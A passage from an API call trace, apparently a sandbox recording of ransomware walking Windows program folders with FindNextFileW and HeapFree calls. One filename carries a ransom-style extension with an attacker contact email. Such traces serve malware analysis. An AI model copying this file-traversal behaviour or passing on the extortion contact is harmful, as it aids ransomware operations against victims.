hHeap=0x4e0000) returned 1 [0283.925] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0283.925] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.926] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0283.926] FindClose (in: hFindFile=0x543d50 | out: hFindFile=0x543d50) returned 1 [0283.926] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.926] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0283.927] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.927] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0283.928] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.928] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0283.928] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.928] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0283.929] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.929] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0283.930] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.930] FindNextFileW (in: hFindFile=0x543dd0, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0283.931] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.931] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0283.931] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.931] FindNextFileW (in: hFindFile=0x543a10, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0283.932] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.932] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0283.932] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.933] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0283.933] FindClose (in: hFindFile=0x543fd0 | out: hFindFile=0x543fd0) returned 1 [0283.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3730070 | out: hHeap=0x4e0000) returned 1 [0283.933] FindNextFileW (in: hFindFile=0x543f10, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xabad4148, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xabad4148, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xabad4148, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DESKTO~1.LOV")) returned 1 [0283.935] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.935] FindNextFileW (in: hFindFile=0x5439d0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0283.935] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.935] FindNextFileW (in: hFindFile=0x5439d0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0283.935] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.935] FindNextFileW (in: hFindFile=0x5439d0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63d2d10, ftCreationTime.dwHighDateTime=0x1d5c395, ftLastAccessTime.dwLowDateTime=0x22f82ad0, ftLastAccessTime.dwHighDateTime=0x1d5b1d4, ftLastWriteTime.dwLowDateTime=0x22f82ad0, ftLastWriteTime.dwHighDateTime=0x1d5b1d4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0283.936] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3730070 | out: hHeap=0x4e0000) returned 1 [0283.936] FindNextFileW (in: hFindFile=0x543f10, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe7efeb5d, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7efeb5d, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0283.938] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.938] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0283.940] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.940] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0283.942] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.942] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0283.943] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.943] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0283.945] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.945] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0283.946] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.946] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0283.946] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.946] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0283.948] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.948] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0283.949] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.949] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0283.949] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.949] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0283.950] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.950] FindNextFileW (in: hFindFile=0x543dd0, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0283.950] FindClose (in: hFindFile=0x543dd0 | out: hFindFile=0x543dd0) returned 1 [0283.950] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.951] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0283.951] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.951] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0283.951] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.952] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0283.952] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.952] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0283.953] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.093] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0284.093] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0284.093] FindNextFileW (in: hFindFile=0x543b90, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84dfa00, ftCreationTime.dwHighDateTime=0x1d5acff, ftLastAccessTime.dwLowDateTime=0x9390f380, ftLastAccessTime.dwHighDateTime=0x1d5f05e, ftLastWriteTime.dwLowDateTime=0x9390f380, ftLastWriteTime.dwHighDateTime=0x1d5f05e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="showcase.exe", cAlternateFileName="")) returned 1 [0284.093] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3730070 | out: hHeap=0x4e0000) returned 1 [0284.093] FindNextFileW (in: hFindFile=0x543f10, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xacb3863b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xacb3863b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0284.095] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0284.095] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb1743290, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xb1743290, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0284.099] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0284.099] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0284.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0284.102] FindNextFileW (in: hFindFile=0x543b90, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0285.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0285.850] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x2e7f308 | out: 